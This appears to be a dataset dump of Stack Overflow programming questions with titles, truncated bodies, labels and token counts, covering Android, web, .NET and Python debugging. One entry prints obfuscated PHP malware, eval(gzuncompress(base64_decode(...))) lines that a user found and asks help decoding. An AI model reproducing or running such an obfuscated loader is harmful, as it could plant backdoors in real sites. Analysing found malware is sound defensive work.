title
stringlengths
13
150
body
stringlengths
749
64.2k
label
int64
0
3
token_count
int64
1.02k
28.5k
Click events on highcharts with multiple series
<p>When I have multiple series that have intersecting points on my chart the click events don't seem to fire at all. Here is an example:</p> <p><a href="http://jsfiddle.net/agnHV/22/" rel="nofollow">http://jsfiddle.net/agnHV/22/</a></p> <p>If you take a look at April where all 3 series intersect and try to click on ...
1
3,359
How do I get rid of these errors in Android Studio?
<p>I am a novice android app programmer and just started to code a game. I recently found a video where a red square should show up and would be allowed to be dragged. I made sure of it and copied the code exactly. Here are all of the pieces of code:</p> <p><strong>Main Activity:</strong></p> <pre><code>package co...
1
5,313
C# Linq to SQL vs Entity Framework .Net Core
<p>I decided to start learning something about .Net Core and Entity Framework for Core. Since most of our apps rely heavily on data access, I decided to start with the Entity Framework for .Net Core. After creating a working app, I decided to run the same the same query using Linq to SQL and test the response time. The...
1
1,356
Is there any solution to match the Kendo date picker value and grid date column value
<p>I have a requirement that need to select to and from date ,so that the date should match in grid and display the result.But the grid column with date contains date+time .So my question is it possible to ignore time and read only date in to and from date pickers and match the value in grid.</p> <pre><code>$("#datepi...
1
1,212
ASP.NET - Control Events Not Firing Inside Repeater
<p>This is a absurdly common issue and having exhausted all of the obvious solutions, I'm hoping SO can offer me some input... I have a UserControl inside a page which contains a repeater housing several controls that cause postback. Trouble is, all of the controls inside of the repeater never hit their event handlers ...
1
1,890
WinMain/Win32 Window not displaying, but shows up in Processes tab of Task Manager
<p>I'm a newbie to c++, and I'm stuck on displaying the window. I'm not getting any errors, but my Window is not displaying on the desktop. When I open the task manager, it appears under the 'Proccesses' tab. I haven't been finding any solutions to this problem, so any help is appreciated. Thanks! :)</p> <p>**Note: I'...
1
1,627
How to balance an unbalanced panel data?
<p>Suppose I have the following unbalance pandel data:</p> <pre><code>unbalanced.panel = structure(list(firm = c("A", "A", "A", "A", "B", "B", "A", "A", "B", "C", "C"), ind = c(1, 1, 1, 1, 2, 2, 2, 2, 1, 1, 1), year = c(2010, 2011, 2012, 2013, 2011, 2013, 2011, 2012, 2010, 2012, 2013), charac1 = c("x", "x", "x"...
1
1,637
How to trigger jquery plugins after ajax has loaded a page in WordPress?
<p>After all links in Google search results being purple and me being frustrated since couple of hours I decided to ask you guys to help me with the problem.</p> <p>On my home page in WordPress, a loop generates list with all posts titles on the blog. To improve website loading time, I decided to go with AJAX. Instead...
1
1,381
android: Not able to find @style/ThemeOverlay.AppCompat.Dark.ActionBar
<p>Hi in my android studio project this is always red: @style/ThemeOverlay.AppCompat.Dark.ActionBar</p> <p>and this:</p> <p>@style/ThemeOverlay.AppCompat.Dark.ActionBar <a href="https://i.stack.imgur.com/W9Qeh.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/W9Qeh.png" alt="enter image description h...
1
4,771
Cloudfront to use different Content-Type for compressed and uncompressed files
<p>I am serving a website generated by a static site generator via S3 and Cloudfront. The files are being uploaded to S3 with correct Content-Types. The DNS points to Cloudfront which uses the S3 bucket as its origin. Cloudfront takes care about encryption and compression. I told Cloudfront to compress objects automati...
1
2,244
Issue reading XMLConfiguration files using apache configuration2
<p>I was trying to use <a href="https://commons.apache.org/proper/commons-configuration/userguide/howto_xml.html" rel="nofollow">apache commons configuration</a> and running into an issue where it throws a NoClassDefFoundError. It happens on <a href="https://commons.apache.org/proper/commons-configuration/apidocs/org/a...
1
1,181
setInterval inside setTimeout not working... why?
<p>I'm trying to make an element change opacity based on a series of values pre-set on an array. That action should begin after the user clicks a button AND the system waits for a second.</p> <p>Here's what I got:</p> <pre><code>&lt;script&gt; $(function() { $("#Listening").click(function() { setTimeout(triggerL...
1
1,039
No resource identifier found for attribute 'qihoo' in package 'android'
<p>I am recompiling miui helper app but on recompiling I am facing an error.</p> <pre class="lang-html prettyprint-override"><code> &lt;application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:name="com.qihoo.util.StubApplication" **android:qihoo="activity"**...
1
1,373
URL Parsing with Java server using Runnable class
<p>How can I parse URL queries with a system like this.</p> <p>For Example something like get these URL arguments in variables.</p> <p><a href="http://localhost?format=json&amp;apikey=838439873473kjdhfkhdf" rel="nofollow">http://localhost?format=json&amp;apikey=838439873473kjdhfkhdf</a></p> <p><a href="http://tutori...
1
1,465
Python multiprocessing Process ID
<p>I'm using multiprocessing.Pool too run different processes (e.g. 4 processes) and I need to ID each process so I can do different things in each process. </p> <p>As I have the pool running inside a while loop, for the first iteration I can know the ID of each process, however for the second and more iterations this...
1
1,260
Send canvas and form to server save image with custom name
<p>I am trying to send the canvas image to the server.</p> <p>Hi everyone I know this has been asked a lot. (I've already asked it once before)</p> <p>The form data is sent too and this is used to name the file sent to the server so that it is identifiable who drew the image.</p> <p>My site is <a href="http://www.lo...
1
1,232
Bootstrap modal form submitting multiple times after first submit
<p>I have a modal form - bootstrap css - which with every button click submits an additional time, e.g. </p> <ol> <li>first click, 1 submit</li> <li>second click, 2 submits</li> <li>third click, 3 submits</li> <li>etc, etc </li> </ol> <p>The jQuery I use is below. The modal is called from another modal (dynamically...
1
1,230
PHP header redirect loop
<p>I am having a problem where a user is able to submit an event to a calender but I cannot get them redirected back to the original page. I have tried using:</p> <pre><code> header("Location: http://localhost/Project/View/Home.php"); exit; </code></pre> <p>But I am getting a message <code>This webpage has a redir...
1
1,203
how can I validate selectOneMenu's value?
<p>I was validating my form, and I can get value of textbox but always retrieve null value in the uiClass variable (<code>Error: java.lang.NullPointerException</code>): Any suggest ?</p> <p>Exception: <br></p> <pre><code>WARNING: /jsf/report/Edit.xhtml @39,99 listener="#{studentController.validate}": java.lang.NullP...
1
1,206
Find native memory leak in Java application using JeMalloc
<p>Currently I am trying to resolve a Java memory issue: My Java application keeps using more and more memory and eventually it gets killed by the Linux OOM killer.</p> <p>There is probably a Native Memory leak, because after inspection of the JVM with VisualVM both metaspace and the heap look OK.</p> <p>Using the...
1
1,237
SwingPropertyChangeSupport to dynamically update JTextArea
<p>I'm trying to build upon the answer to a question regarding SwingPropertyChangeSupport</p> <p>I am attempting to modify the code given here in an answer by the very helpful, Hovercraft Full Of Eels: <a href="https://stackoverflow.com/questions/10198936/windowlistener-does-not-work-as-expected/10199137#10199137">Wi...
1
2,202
Windows 10 install features and developer mode offline
<p>I need to install OFFLINE features of Windows like "LegacyCompoents", "DirectPlay", ".NET Framework 3.5", "Windows Subsystem Linux" and "Developer Mode" on Windows 10 (Home/Pro x64 1909).</p> <p>Online, it works fine with that (run as admin, obviously):</p> <pre><code>cls @echo off cd /d "%~dp0" reg add "HKEY_LOC...
1
1,365
Setup testing database for acceptance tests in Codeception (Laravel)
<p>I'm using Codeception framework to perform acceptance tests in Laravel 5 application. I wanted to use a separate database for testing to keep real database from changing through testing. I configued the .yml files based on Codeception documentation. But the real database gets affected anyway. This is my configuratio...
1
1,868
cordova 3.0 FileWriter THREAD WARNING: exec() call to File.write blocked the main thread...should use CordovaInterface.getThreadPool()
<p>I'm using the FileWriter and it works fine except for these messages in the logcat when I write largish files of various sizes upto about 3MB.</p> <p>I had a look at the FileUtils.java source and the write function doesn't use the getThreadPool() interface (the reader does).</p> <p>As a test I thought I'd adapt th...
1
1,091
Change in dependency property from code is not displayed
<p>I've created a button, which is supposed to support wordwrapping. My XAML code for the button looks like this:</p> <pre><code>&lt;Button x:Class="POS.TouchScreen.UI.Elements.TouchButtonWPF" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft....
1
1,084
Running ASP.NET Core application in full IIS without publishing gives 502.5 error
<p>I'm trying to host an ASP.NET Core application in IIS on my local machine, and I'm getting a <code>502.5</code> error. <strong>My question is <em>different</em> from <a href="https://stackoverflow.com/q/38624453/419956">"ASP.NET Core 1.0 on IIS error 502.5"</a></strong> because I'm <em>not</em> publishing my app, bu...
1
1,599
Blacklist/whitelist for XSS
<p>I need to implement XSS defence and I have troubles with it. I read this cheatsheet <a href="https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html" rel="nofollow noreferrer">https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html</a> T...
1
1,106
c# - Convert string to datetime with DateTime.ParseExact
<p>I have to convert a string extract from a file to datetime. The problem is that my string doesn't have a unique format. For example my string can be something like : 19-05-2016 1:24:09:560 or 19-05-2016 21:24:09:56 or 19-05-2016 10:24:09:560 or 19-05-2016 10:24:09 and so on. I didn't encounter all the possibilities ...
1
1,631
Android Volley synchronous request not working
<p>I am trying to make a <strong>synchronous request</strong> to the server using <strong>RequestFuture</strong> but it's not working . The same request when done using asynchronous works fine.</p> <p>This is my code:</p> <pre><code> public void fetchModules(){ JSONObject response = null; RequestQueue requestQ...
1
1,816
HTMLElement is not defined - Nativescript-vue
<p>All I'm trying to do at this point is get the project to run.</p> <p>I run <code>tns run android</code></p> <p>The application builds, but as it starts the app and throws an error</p> <blockquote> <p>ReferenceError: HTMLElement is not defined</p> </blockquote> <p>So this all started when I was trying to bring in the...
1
3,781
'TypeError: undefined is not a function' using Protractor
<p>I am aware there are many topics on this error code. However, I am struggling to find any solutions that help (or maybe I'm just stupid).</p> <p>I am building a Protractor test for a web page, and my original JavaScript worked perfectly. But I wanted to convert it all into using page objects, to make it easier to ed...
1
1,681
android.widget.textview cannot be cast to android.widget.radiogroup
<p>I keep getting an Error and I cant seem to fix it. I have tried moving code and searching the internet for an answer, so far i havent found any. Please help me, i will be really thankful. By the way im a new to this so sorry if im asking a stupid question. I keep getting an Error and I cant seem to fix it.</p> <p>T...
1
2,885
Ceph Monitor out of quorum
<p>we're experiencing a problem with one of our ceph monitors. Cluster uses 3 monitors and they are all up&amp;running. They can communicate with each other and gives a relevant ceph -s output. However quorum shows second monitor is down. The ceph -s output from supposedly down monitor is below:</p> <pre><code>cluster:...
1
1,078
Assembly 8088 - converting to hexadecimal
<p>I am trying to write an assembly code to do a file <strong>hexdump</strong>, just like in Linux when you do "<code>hexdump -C sample.txt</code>" from the command line. I got as far as opening the file and reading the contents into a buffer, but I can't get beyond, trying to convert those bytes to hexadecimal. </p> ...
1
1,478
What to put in package json to run create-react-app
<p>I'm trying to follow some introductory react courses and I can't run npm start to get create-react-app working. I'm on windows 10. The error I usually get is "npm ERR! missing script: start"</p> <p>I should mention I'm doing this from the command line, which is my Node.js command prompt</p> <p>Read through some do...
1
1,390
Route Traefik UI with Traefik
<p>I'm new to Docker and Traefik, so I decided to play with them a little. I tried to follow this Digital Ocean tutorial : <a href="https://www.digitalocean.com/community/tutorials/how-to-use-traefik-as-a-reverse-proxy-for-docker-containers-on-ubuntu-16-04" rel="nofollow noreferrer">https://www.digitalocean.com/communi...
1
2,224
GWT JUnit Testing
<p>I'm trying a very JUnit Testing for GWT put it is failing</p> <pre><code>public class CheckTest extends TestCase { private ServiceAsync RPC; private HandlerManager EventBus; private CreateTopicPresenter.Display CTV; private CreateTopicPresenter CTP; protected void setUp() { RPC= c...
1
1,248
XGBClassifier fails when I pass early_stopping_rounds
<p>I am using <code>xgboost</code> in the following way:</p> <pre><code>from xgboost import XGBClassifier clf = XGBClassifier() clf = clf.fit(df_train, df_train_labels, verbose=True) </code></pre> <p>This works well. However, if I add an <code>early_stopping_rounds</code> parameter, like this:</p> <pre><code>clf = c...
1
1,313
Using CSS hover class to hover over a link and display an overlay image elsewhere on the page
<p>I was trying to figure out if there was a way to use CSS to hover over a link and make an overlay of an image show elsewhere on the page. I am making a website that has a map, and what I want to accomplish is that when they hover over a link to the corresponding location the map would sort of highlight the location ...
1
1,051
Scrollable tbody inside grid layout
<p>I have a simple 3-part layout (header/sidebar/content) using css grid. Inside my content, I have a table.</p> <p>I want the table to fill the remaining space in the <code>div.content</code> and have a <code>tbody</code> with its own scrollbar.</p> <p>Every combination of <code>overflow-y: scroll;</code> and <code...
1
4,312
Correctly using .AsParallel() efficiently with linq
<p>I have a tuple and I am iterating over it with LINQ</p> <pre><code>List&lt;Tuple&lt;string[], double[]&gt;&gt; tt = new List&lt;Tuple&lt;string[], double[]&gt;&gt;(); var t1 = new Tuple&lt;string[], double[]&gt;( new string[] { "java", "c#", "nn" }, new double[] { 2, 3, 0 }); var t2 = new Tuple&lt;string[...
1
1,136
Can't run leJOS NXJ sample project
<p>I try to install <a href="http://lejos.sourceforge.net/nxt/nxj/tutorial/Preliminaries/GettingStartedMac.htm" rel="nofollow">leJOS NXJ</a> on my MAC OS X and run it's sample, but after I do what it wants and <a href="http://lejos.sourceforge.net/nxt/nxj/tutorial/Preliminaries/GettingStartedMac.htm" rel="nofollow">exp...
1
3,392
YUM complains about PyYAML and libyaml in CentOS 5.8
<p>Every single time I try to #sudo yum update, I get warnings that PyYAML-3.08-4.el5.x86_64 is missing a dependency, libyaml-0.so.1()(64bit).</p> <p>So I did some checks, and it appears that libyaml is indeed installed, so I'm wondering what is wrong with my installation of PyYAML and libyaml. libyaml was automatical...
1
1,292
Insert Contact (ContactsContract) via Intent with Image (Photo)
<p>There is many Q&amp;A threads, but none of them is providing real answer, or I couldn't find it.</p> <p>To ensure you, I've searched before asking:</p> <ul> <li><a href="https://stackoverflow.com/questions/6446267/android-set-contact-photo-with-contactscontract-insert-intent">Android: set contact photo with Contac...
1
2,228
Importing monkeyrunner into python ViewClient
<p>I am interested in making use of the ViewClient extension for MonkeyRunner having run into Broken Pipe issues with pure MonkeyRunner.</p> <p>I need to still use X/Y coordinates in the device.press(...), device.touch(...), device.drag(...) functions for some of the tests (not a normal android hierarchy) so for this ...
1
2,003
Floating Div Breaks out on Zoom
<p>I have a sidebar with float: left, in that sidebar is a box with some text in it. Right next to the sidebar is a wrapper that has content in it. If I zoom in everything gets sized nicely but the sidebar breaks and jumps to the middle of the wrapper if I zoom it to max. Actually with my navbar, the last item also bre...
1
1,057
Nested iron-pages (Polymer1.0)
<pre><code>&lt;iron-pages attr-for-selected="data-route" selected="{{route}}"&gt; &lt;section data-route="home"&gt; &lt;paper-material elevation="1"&gt; &lt;bortini-home&gt;&lt;/bortini-home&gt; &lt;/paper-material&gt; &lt;/section&gt; &lt;section data-route="tv"&gt; &lt...
1
1,615
PHP: Help decoding malicious code
<pre><code>eval(gzuncompress(base64_decode('eF5Tcffxd3L0CY5WjzcyNDG2NDc3MLGMV4+1dSwqSqzU0LQGAJCPCMM='))); eval(gzuncompress(base64_decode('eF5LK81LLsnMz1OINzczNTK1MDUy01DJ1KxWSbR1LCpKrNTQtC5KLSktylNISixONTOJT0lNzk9J1VBJjFbJjNW0rgUAqDUUxQ=='))); eval(gzuncompress(base64_decode('eF6VlMmyo0YURPeO8D94192hhQokhBSOXhSjmAoV...
1
1,339
create_engine() missing 1 required positional argument: 'engine_opts
<p>app was running fine yesterday at home on <strong>a different system **when i tried to run it on the different system ( **freshly installed everything</strong> ) - <em>so i assume that this error is just for the latest version only.</em></p> <p>the goal is to connect the user in session to a second database</p> <p...
1
1,619
Toast is not displaying in catch block
<p>Hi ! I'm trying to display a mesage when the network is off or the server is not responding. My messsage is visible in LOG but does not show on screen (is not toasted). I have a sample code which works fine but my code is not.</p> <pre><code>import android.view.View.OnKeyListener; public class AgAppHelperMethods...
1
1,078
Error:(30) Tag <category> attribute name has invalid character ' '
<p>my app was running successfully but suddenly i got an error in debug/manifest file Error:(30) Tag attribute name has invalid character ' '. Error:Execution failed for task ':app:processDebugResources'.</p> <blockquote> <p>com.android.ide.common.process.ProcessException: org.gradle.process.internal.ExecException:...
1
1,628
Picture moves when browser zooms
<p>I'm new to HTML and CSS, and also new on this forum. I have some trouble with the browser zoom function. I want to stick an image to the bottem of my DIV, just like I show you in this picture. <a href="http://imageshack.us/a/img29/1417/n81h.png" rel="nofollow noreferrer">http://imageshack.us/a/img29/1417/n81h.png</a...
1
1,071
MongoDb: How to aggregate, group and sort on date field?
<p>In my MongoDB people collection I need to filter people with the same 'alias' property value, keeping the first one of them, and also keeping all people with a null 'alias'.</p> <p>Data is like this:</p> <pre><code>{ "_id" : "1", "flag" : true, "name" : "Alice", "alias" : null, "dateOfBirth": new ISODate('1995...
1
1,999
No ripple effect on touch in recyclerview
<p>I have a recyclerview with four grid elements (2*2) that work like a menu. However, when i click on them no ripple effect is shown. It just takes me to the next activity without any visual confirmation that the view was pressed. Can anyone help?</p> <p>MainActivity</p> <pre><code>public class MainActivity extends ...
1
2,637
How to fully implement the Navigation Drawer template in Kotlin
<p>I'm expecting this to be a really simple answer. I am developing my first real app on android (a workout tracker) and I am wanting it to have a navigation drawer layout for the majority of the app. I have a bunch of pages that I want the drawer to navigate to. I have figured out how to change the names of the menu i...
1
2,874
"read" Data with multiple IDs from OpenERP using java with apache xml-rpc
<p>Hi I am currently writing a servlet using <a href="http://ws.apache.org/xmlrpc/index.html" rel="nofollow">Apache XML-RPC</a> connecting to OpenERP. There are not any good resources around, and the java examples are very minimalistic and far from complete on the OpenERP site. </p> <p>Has anyone a clue where I could ...
1
1,239
Ansible with Github: Permission denied (Publickey)
<p>I'm trying to understand the GitHub ssh configuration with Ansible (I'm working on the Ansible: Up &amp; Running book). I'm running into two issues.</p> <p><strong>Permission denied (publickey)</strong> - When I first ran the <code>ansible-playbook mezzanine.yml</code> playbook, I got a permission denied:</p> <pre...
1
1,264
Is it illegal to invoke a std::function<void(Args...)> under the standard?
<p>All quotes are from <a href="https://isocpp.org/files/papers/N3797.pdf">N3797</a>.</p> <p><strong>4/3 [conv]</strong></p> <blockquote> <p>An expression e can be implicitly converted to a type T if and only if the declaration T t=e; is well-formed, for some invented temporary variable t</p> </...
1
1,112
Any feature in BigQuery that can migrate a whole dataset in another project w/o executing copy data?
<p>While our project grows, at some point we realized that we need to create new projects and reorganize our dataset. One case is that we need to isolate one dataset from others into another new project. I know that I can do it by copying tables one by one through API and then delete the old ones. But when it comes to ...
1
1,165
How to stop all react-youtube videos onSlide with react-image-gallery?
<p><strong>EDIT: SOLVED</strong></p> <p>I've been stuck on this one all day and if someone have an idea it would be greatly appreciated!</p> <p>So I'm using react-image-gallery and react-youtube to build a video carousel and my problem is that the YouTube-component is rendering as many times as the amount of videos I...
1
1,354
Can't get GD image to display
<p>my code: save this file as captcha.php</p> <pre><code> &lt;?php ob_start(); session_start(); if(!isset($_POST['submit'])){ echo "&lt;form method=\"post\" action=\"captcha.php\"&gt;\n"; echo "&lt;table border=\"0\" cellspacing=\"3\" cellpadding=\"3\"&gt;\n"; echo "&lt;tr&gt;&lt;td&gt;Type The Letters ...
1
4,019
How to remove NULL columns from a LINQ query for ObjectDataSource
<p>As the question suggests I want to remove all of the columns from a LINQ query where all the rows in that column are empty.</p> <p>At the minute I am using LINQ to run my initial query with the required date and site filters, this then returns an IEnumerable object to my ObjectDataSource within a GridView. This all...
1
1,492
StaleDataException with dialog
<p>I am trying to show a dialog with a listview with names from my database but I keep getting a <code>StaleDataException</code>. I know that usually means I am trying to use data from a closed cursor but the cursor does not close until I get all the data so I dont understand why I am getting this</p> <pre><code>d = n...
1
1,398
Cannot validate token in UseJwtBearerAuthentication. Authorization has been denied
<p>Using a single asp.net(4.6.1) web project, apparently I'm unable to validate the jwt token that was generated on the same server.<br /> <strong>Startup.cs</strong>:</p> <pre><code> var secret = Encoding.UTF8.GetBytes(&quot;12341234123412341234&quot;); var jwtFormatter = new CustomJwtFormat(&quot;Any&q...
1
1,910
MVC 3 Razor- how to bind new model to webgrid using jQuery ajax
<p>I have an issue with updating my webgrid with a new model which is returned from my DAL.</p> <p>On my view I have checkboxes used to filter data displayed on the grid. Once a checkbox is ticked this calls some jQuery ajax function which passes the checkbox values to my method in my controller. This then calls my DA...
1
3,568
sliver app bar with search functionality in flutter
<p>hope you have good day. I wanna achieve something like this below =&gt; <a href="https://i.stack.imgur.com/GlX1J.gif" rel="nofollow noreferrer">gif image 1</a></p> <p>for whom gif is not clear.it is screenshot from app called <code>Yelp</code>. it is sliver app bar with expanding and collapsing. when it collapse sea...
1
2,667
HTML element not appearing
<p>For some reason my div Username is not appearing. Im trying to create a website and i cant seem to figure out what is wrong with my code. If there is not something wrong with my code can it be netbeans? Thank you!</p> <p> </p> <pre><code> &lt;meta charset="UTF-8"&gt; &lt;meta name="viewport" content="wi...
1
1,106
jQuery Dynamic Masking
<p>I have used jQuery Masking plugin in my App.</p> <p>Link is given here.</p> <p><a href="https://github.com/digitalBush/jquery.maskedinput" rel="nofollow noreferrer">https://github.com/digitalBush/jquery.maskedinput</a></p> <p>I need the dynamic masking like.</p> <p>Sometime I will need to use like this 000-00-0 ...
1
1,030
Setting accordion to active based on active child
<p>The top accordion section is 'active'. I want to achieve a menu that becomes active based on the child elements. For example; as you can see 'Dashboard' is set to active with an 'active' class because it is the current page. </p> <p>How can I make an accordion active if a child element has the class 'active'? (lik...
1
1,174
How to print a text file using WiFi Direct
<p>I have a working Android app that displays user stats. I want to send a small report with plain text format (.txt) to a WiFi Direct printer. I have downloaded the sample <a href="https://developer.android.com/guide/topics/connectivity/wifip2p.html" rel="noreferrer">demo</a> app from Android. I did the proper modifi...
1
6,645
SQL Server 2012 AFTER INSERT trigger when inserting multiple rows
<p>I'm using the search function in stackoverflow, but I can't find the answer for my problem. But I'm sure I cannot be the first one with this problem.</p> <p>In my SQL Server 2012 I'm inserting rows and I have an after insert trigger. The inserted pseudo table contains one row with inter alia a timestamp.</p> <p>Wi...
1
1,116
Microsoft Dynamics CRM Asynchronous Processing service not working (probably)
<p>Multiple problems are arising right now on our development CRM server. At first i could not import a solution due to some obscure error (failed to parse XAML). A solution that was unchanged and worked in the past.</p> <p>Next i couldnt connect to the server anymore using the plugin registration tool. No to any o...
1
1,997
Django form submission - avoid page redirect
<p>I am using a django form to update some details. once the save changes is clicked the ajax call is made, view executed, ajax response sent, success code executed n the page reloads again. n on reload as form is no longer valid, the else part of from.is_valid() is executed.</p> <pre><code>if form.is_valid: #do s...
1
1,071
Google Plus API error gapi.loaded_0
<p>I am trying to use requireJS with Google plus API, but getting an error when I click login button</p> <p>Here is the error and screenshot:</p> <blockquote> <p>GET <code>https://apis.google.com/_/scs/apps-static/_/js/k=oz.gapi.en.f5Li87Zolqg.O/m…sv=1/d=1/ed=1/am=AQ/RS=AGLTcCPR6xH_GlLdKZ8KMxaWNPWQokoYsg/cb=gapi.lo...
1
1,771
Spark YARN config issue : Container keep failing
<p>I am trying to save the data frame as textFile but it take much time even for small data. I believe there is something wrong with my config. Can some one tell me what I am doing wrong here ?</p> <pre><code>spark.default.parallelism 640 spark.hadoop.fs.s3.cse.plaintextLength.enabled false spark.hadoop.fs.s3n.file...
1
3,494
convert openSSH rsa key to javax.crypto.Cipher compatible format
<p>Is there a way to programmatically convert the <a href="http://www.jcraft.com/jsch/" rel="nofollow noreferrer">Jsch</a> generated SSH RSA-keys to a format <a href="http://docs.oracle.com/javase/7/docs/api/javax/crypto/Cipher.html" rel="nofollow noreferrer">javax.crypto.Cipher</a> can use for encryption? I have mostl...
1
4,586
Stomp WebSocket Client for a Spring based broker built in Java is failing
<p>I have a Websocket Stomp server built in Java (Spring based). My JavaScript client is able to talk to the server using Stomp over Web Socket - no issues.</p> <p>I'm trying to use the WebSocket4Net library to build the C# client. Can anyone please tell me how can I build the Stomp message frames in bytes[] and send ...
1
1,299
Gradient descent impementation python - contour lines
<p>As a self study exercise I am trying to implement gradient descent on a linear regression problem from scratch and plot the resulting iterations on a contour plot. </p> <p>My gradient descent implementation gives the correct result (tested with Sklearn) however the gradient descent plot doesn't seem to be <strong>p...
1
1,478
React dynamically adding classes for animation reverse
<p>Full code:<br> <a href="https://codesandbox.io/s/j4r7yoollw" rel="nofollow noreferrer">https://codesandbox.io/s/j4r7yoollw</a><br> I animate the modal on button click. But I want to be able to reverse the animation in <code>components/Modal/index.css</code> when I close it. I implemented <code>setTimeout</code> to g...
1
1,611
Zend Framework 2 Database Access in Models
<p>I am developing my app in <code>ZF2</code> but despite trying i could not find answer for my database/model problem.</p> <p>I think of TableGateway that is pretty much the copy of skeleton application example as a AdminUser collection of some sorts that does the query tasks and returns AdminUser instance.</p> <p>...
1
1,260
How to use input in angular2 with material design.I got the ORIGINAL EXCEPTION: No value accessor for ' '
<p>Here I am trying to use the input in angular2 with material design and I got the error.My code is generate error only when i add the input filed.I want to implement input with material design.</p> <pre><code> &lt;dialog class="mdl-dialog" [open]="isOpen"&gt; &lt;h4 class="mdl-dialog__title"&gt;Allow data colle...
1
1,520
Jacoco doesn't detect interfaces
<p>I have configured Jacoco so that it generates a coverage reports when unit tests run.</p> <pre><code>&lt;plugin&gt; &lt;groupId&gt;org.jacoco&lt;/groupId&gt; &lt;artifactId&gt;jacoco-maven-plugin&lt;/artifactId&gt; &lt;version&gt;0.8.2&lt;/version&gt; &lt;executions&g...
1
1,586
Python OpenCV - filtering out contours, that are not nearby
<p>I'm trying to get my program to show me only the centre of the road, by filtering out the rest. I have started by finding width and length for every rectangle in the centre of the road and filtering out the rest.</p> <p>Problem: Some rectangles that are not in the centre of the road are still visible, as they are w...
1
1,130
I can't understand the error: "void is an invalid type for the variable"
<p>I was searching and can't find what does the error mean in my code:</p> <pre><code>import android.os.Bundle; import android.view.View; import android.widget.AdapterView; import android.widget.AdapterView.OnItemSelectedListener; import android.widget.ArrayAdapter; import android.widget.RadioButton; import android.wi...
1
1,206
Not inserting into Database in CODEIGNITER Mysql
<p>Not inserting..Any Suggestions?? DB Driver: mysqli using Codeigniter.</p> <p><strong>Controller</strong></p> <pre><code>function add_quote() { $this-&gt;form_validation-&gt;set_rules('invoice_no', $this-&gt;lang-&gt;line("invoice_no")); $this-&gt;form_validation-&gt;set_rules('date', $this-&gt...
1
2,120
Batch Script - create an .XML file - name based on every .DWG file in folder
<p>I'd like to create a Batch file that would search a folder and create .XML files based on the .DWG file names. It would also add the file name to (2) difference locations within the .XML (see below).</p> <p>Process:</p> <ol> <li>A folder contains (100) .DWG files numbered A1.dwg ~ A100.dwg</li> <li>The Batch file...
1
1,075
AWS DMS not giving 100% migaration
<p>HI all we are migrating out database from on premises to Amazon aurora.our database size is around 136GB moreover few tables have over millions of records each. Howover after full load complete out of millions rows approx 200,000 to 300,000 rows gets migrated.WE dont know where we are falling since we are new to DMS...
1
1,714
Python TypeError: '_csv.writer' object is not iterable
<p>I am parsing json to csv. But am getting error as below:</p> <pre><code>for i in data: TypeError: '_csv.writer' object is not iterable </code></pre> <p>Code:</p> <pre><code>import json import csv with open("Data.json", 'r') as file: data = json.load(file) CSV_File = 'Data.csv' with open(CSV_File, 'w') as f...
1
1,222
Register Broadcast receiver in Fragment PageViewer
<p>I have previously asked a question in Stack for this and this is a continuing one for it </p> <p>Previous question </p> <p><a href="https://stackoverflow.com/questions/30206273/calling-fragment-from-inside-the-baseadapter-class-in-pageviewer-android">Calling Fragment from inside the BaseAdapter class in PageViewer...
1
1,715
Spring OAuth2: DuplicateKeyException when using JdbcTokenStore and DefaultTokenServices under heavy load
<p>As mentioned in the title, I'm experiencing the issue, when the same client is querying the token endpoint concurrently (two processes requesting token for the same client at the same time).</p> <p>The message in the logs of the auth server looks like this:</p> <pre><code>2016-12-05 19:08:03.313 INFO 31717 --- [n...
1
1,236
Why does Spark Streaming app with Kafka fail with "ClassNotFoundException: org.apache.spark.streaming.kafka.KafkaRDDPartition"?
<p>I use Spark Streaming with Apache Kafka.</p> <pre><code>val directKafkaStream = KafkaUtils.createDirectStream[String,String,StringDecoder,StringDecoder ]( ssc, kafkaParams, topics) val events = directKafkaStream.flatMap(x=&gt;{ val data = JSONObject.fromObject(x._2) Some(data) }) val dbIndex = 1 val clickHas...
1
4,408
Validating multiple check boxes with different names to make sure at least 1 is checked
<p>I have a PHP form with several check boxes (not groups) with different names that when submitted get sent to an array and emailed. The problem I am having is that I am looking for a way to validate that at least one of the check boxes is checked upon submit. I know how to do one check box or to do check box groups b...
1
2,990
Rendering validation messages RichFaces
<p>I have a form where I have a <code>rich:select</code> whether they choose option A or option B an <code>h:inputText</code> is rendered. Initially the <code>h:inputText</code> corresponding to option A is rendered and if I leave it blank the <code>requiredMessage</code> appears and everything is OK. Now when I select...
1
4,935
A ViewModel pattern for iOS apps with ReactiveCocoa
<p>I'm working on integrating RAC into my project with the goal of creating a ViewModel layer that will allow easy caching/prefetching from the network (plus all of the other benefits of MVVM). I'm not especially familiar with MVVM or FRP yet, and I'm trying to develop a nice, reusable pattern for iOS development. I ha...
1
2,795
postmap: warning: database /etc/postfix/sasl_passwd.db is older than source file /etc/postfix/sasl_passwd
<p>i am working on amazon aws ec2 on server ubuntu 18.04...i am trying to send mail using phpmailer ..when i click to send mail then it shows me mail sent message ...but i didn't received any mails. and when i go to the mail.log file to check what error it shows ..it shows following errors</p> <pre><code>postfix/smtp[3...
1
1,685
CMake pybind11 cannot create target because another target with the same name already exists, how to bypass?
<p>I have code which successfully runs. Its CmakeLists.txt is:</p> <p><code>cmake_minimum_required(VERSION 3.15) project(rotapro3) set(CMAKE_CXX_STANDARD 14) add_executable(rotapro3 main.cpp)</code>:</p> <p>I want to use pybind for this project, and following the instructions, I add these lines:</p> <pre><code>add_s...
1
1,131
HTTP requests from React not reaching Express backend on production server
<p>I have a React frontend (made with create-react-app) and an Express backend, with a remote MySQL database. Everything works fine when I run both locally, serving the frontend on <code>localhost:3000</code> and proxying http requests to <code>localhost:3306</code>, which is also the port that the Express app listens ...
1
1,163
Qt QML data model doesn't seem to work with C++
<p>I've been working with the examples in <a href="http://doc.qt.digia.com/4.7/qdeclarativemodels.html" rel="nofollow noreferrer">http://doc.qt.digia.com/4.7/qdeclarativemodels.html</a> which is the Qt page on QML declarative data models. In particular, I'm working with the <code>objectlistmodel</code> example that com...
1
5,246
Uncaught TypeError: Cannot read property 'replace' of undefined with KendoTreeView`
